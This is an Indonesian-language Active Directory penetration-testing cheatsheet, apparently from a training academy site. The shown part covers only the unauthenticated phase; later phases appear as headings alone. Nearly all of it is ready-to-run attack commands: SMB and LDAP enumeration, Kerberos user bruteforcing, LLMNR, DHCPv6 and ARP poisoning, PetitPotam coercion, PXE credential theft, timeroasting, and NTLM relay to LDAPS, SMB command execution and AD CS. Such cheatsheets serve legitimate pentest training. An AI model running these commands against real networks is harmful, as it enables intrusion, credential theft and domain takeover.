Geeks Warrior Academy
Kembali ke Cheatsheet

Active Directory Pentest

Teknik & command pengujian Active Directory disusun mengikuti mindmap Orange Cyberdefense (2025.03): dari recon tanpa kredensial, poisoning/coercion & NTLM relay, Kerberos roasting & delegation, abuse AD CS, ACL/DACL, credential dumping, lateral movement, sampai domain dominance & persistence.

22 kategori · 73 command
·
Fase 01

No Credentials

Scan network
Petakan host hidup, service, dan host rentan.
powershell / bash
nxc smb <ip_range>
nmap -sP -p <ip>
nmap -Pn -sV --top-ports 50 --open <ip>
nmap -Pn --script smb-vuln* -p139,445 <ip>
nmap -Pn -sC -sV -oA <output> <ip>
nmap -Pn -sC -sV -p- -oA <output> <ip>
nmap -sU -sC -sV -oA <output> <ip>
Host dgn smb-vuln* bisa jadi jalur akses awal (vulnerable host).
Find DC IP
Temukan IP Domain Controller.
powershell / bash
nmcli dev show <interface>
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>
nmap -p 88 --open <ip_range>
Zone transfer
Coba tarik seluruh zona DNS dari name server.
powershell / bash
dig axfr <domain_name> @<name_server>
Anonymous & Guest access on SMB shares
Cek akses null session / guest ke SMB.
powershell / bash
nxc smb <ip_range> -u '' -p ''
nxc smb <ip_range> -u 'a' -p ''
enum4linux-ng.py -a -u '' -p '' <ip>
smbclient -U '%' -L //<ip>
Enumerate LDAP
Enumerasi LDAP anonymous untuk info domain & user.
powershell / bash
nmap -n -sV --script 'ldap*' and not brute -p 389 <dc_ip>
ldapsearch -x -H <dc_ip> -s base
Hasil: username & naming context domain.
Enumerate Users
Kumpulkan daftar user via SMB/RPC.
powershell / bash
nxc smb <dc_ip> --users
nxc smb <dc_ip> --rid-brute 10000 # bruteforcing RID
net rpc group members 'Domain Users' -W '<domain>' -l <ip> -U '%'
Bruteforce users
Tebak username valid via Kerberos pre-auth.
powershell / bash
kerbrute userenum -d <domain> <userlist>
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<user_list_file>" <dc_ip>
LLMNR / NBTNS / MDNS
Racuni resolusi nama broadcast & tangkap hash.
powershell / bash
responder -I <interface>
Arahkan hasil ke poisoning SMB / LDAP / HTTP (lalu relay).
DHCPv6 (IPv6 prefered to IPv4)
Spoof DHCPv6 karena Windows memprioritaskan IPv6.
powershell / bash
mitm6 -d <domain>
bettercap
ARP Poisoning
MITM via ARP lalu roasting ASREQ dari trafik.
powershell / bash
bettercap
asreqroast
Pcredz -i <interface> -v
Hasil: hash ASREQ dari trafik yang tertangkap.
Coerce — Unauthenticated PetitPotam (CVE-2022-26925)
Paksa mesin autentikasi ke listener (coerce SMB).
powershell / bash
petitpotam.py -d <domain> <listener> <target>
PXE — no password
Curi kredensial NAA account dari boot PXE tanpa password.
powershell / bash
pxethief.py 1
pxethief.py 2 <distribution_point_ip>
Hasil: Credentials (NAA account).
PXE — password protected
Ambil boot media lalu ekstrak PXE hash.
powershell / bash
tftp -i <dp_ip> GET "\xxx\boot.var"
pxethief.py 5 '\xxx\boot.var'
Hasil: PXE Hash (crack offline).
TimeRoasting
Panen hash via MS-SNTP tanpa autentikasi.
powershell / bash
timeroast.py <dc_ip> -o <output_log>
Hasil: timeroast hash.
Relay ke LDAP(S)
Set RBCD, tambah komputer, atau dump domain.
powershell / bash
# Target tanpa SMB signing
nxc smb 10.10.10.0/24 --gen-relay-list targets.txt

# Relay ke LDAPS: delegate access (RBCD)
ntlmrelayx.py -t ldaps://dc.corp.local --delegate-access
# atau dump LAPS/ADCS
ntlmrelayx.py -t ldaps://dc.corp.local --dump-laps --dump-adcs
Relay ke SMB (exec)
Eksekusi perintah di host tanpa signing.
powershell / bash
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -i
# atau langsung jalankan perintah
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -c 'whoami'
Relay ke AD CS (ESC8)
Relay ke web enrollment untuk dapat sertifikat.
powershell / bash
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Fase 02

Valid User (No Password)

Fase 03

Valid Credentials (Low Priv)

Fase 04

Privilege Escalation & Domain Dominance